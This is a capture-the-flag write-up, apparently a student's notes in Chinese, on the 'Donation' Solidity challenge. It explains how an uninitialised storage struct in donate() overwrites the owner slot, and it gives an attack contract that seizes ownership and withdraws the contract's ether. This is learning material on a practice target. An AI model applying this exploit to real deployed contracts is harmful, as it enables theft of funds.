Donation 1. 题目
1.1 A candidate you don’t like is accepting campaign contributions via the smart contract below.
To complete this challenge, steal the candidate’s ether.
1.2 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 pragma solidity ^0.4.21; contract DonationChallenge { struct Donation { uint256 timestamp; uint256 etherAmount; } Donation[] public donations; address public owner; function DonationChallenge() public payable { require(msg.value == 1 ether); owner = msg.sender; } function isComplete() public view returns (bool) { return address(this).balance == 0; } function donate(uint256 etherAmount) public payable { // amount is in ether, but msg.value is in wei uint256 scale = 10**18 * 1 ether; require(msg.value == etherAmount / scale); Donation donation; donation.timestamp = now; donation.etherAmount = etherAmount; donations.push(donation); } function withdraw() public { require(msg.sender == owner); msg.sender.transfer(address(this).balance); } }
2.分析
2.1 本题的通过要求就是需要我们将合约中的钱全部偷走,合约中能够进行转钱操作的只有withdraw函数,所以我们只有将 require(msg.sender == owner)
这个校验通过才可以将合约中所有的钱转走
2.2 合约中有结构体,这点需要注意,分析源码可知 slot0
的位置存储的是 donations
(里面具体的元素的存储位置在哪,之前遇到过,推荐文献 ),slot1
的位置存储的是 owner
;但在函数donate 中 有一个为指明存储方式的声明语句Donation donation
,这个结构体的声明默认是 storage 类型的,是需要上链的,当调用此函数的时候,会覆盖其他全局变量的插槽。
2.3 这恰好为我们篡改合约所有权提供了可能性,只要将 slot1
位置的值覆盖为我们自己的账户地址即可成功执行withdraw函数了
2.4 需要在 donate 函数中修改 slot1的值,通过简单的数学计算就可以了
我不知道为什么我的这个攻击合约不行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 contract Hack { DonationChallenge challenge; uint256 public etherAmount; function Hack(DonationChallenge _challenge) public { challenge = _challenge; } function computer(uint256 _address) public returns(uint256) { // 记录下我的地址,并赋值给etherAmount,方便函数的调用 etherAmount = _address; //算出我要支付多少wei return (_address / (10 ** 36)); } function att() public payable { //修改slot1 即 owner的值 challenge.donate(etherAmount); // 偷钱 challenge.withdraw; } function getAddress() external view returns(address) { return msg.sender; } }
tips:问了同学才知道原因:①是因为没给题目合约中的donate函数发送主币,过不了donation中的语句 ②withdraw函数中的 require(msg.sender == owner);
校验过不去,因为在智能合约中,谁调用withdraw,谁就是msg.sender;合约调用,那么msg.sender就是合约
这样一来 challenge.withdraw;
中的msg.sender
就是 challenge,所以就会报错
在0.4的编译器中发送主币的方式是: challenge.donate.value(msg.value)(etherAmount);
1 2 3 4 5 6 7 8 function att() public payable { //修改slot1 即 owner的值 //// address(nameReg).call.value(1 ether)(abi.encodeWithSignature("register(string)", "MyName")); challenge.donate.value(msg.value)(etherAmount); // 偷钱 // challenge.withdraw; }
这样改就可以成功修改合约的所有者了
3. 解题
3.1 部署 DonationChallenge 和 Hack 合约
3.2 攻击之前,可以看到合约所有者不是本人
3.3 计算出我需要支付的费用,参数是我的账户地址
3.4 以我的账户地址为参数,计算结果为 msg.value 调用 Donation 函数,再执行 withdrawn函数,将钱取走,再验证isComplete的值
成功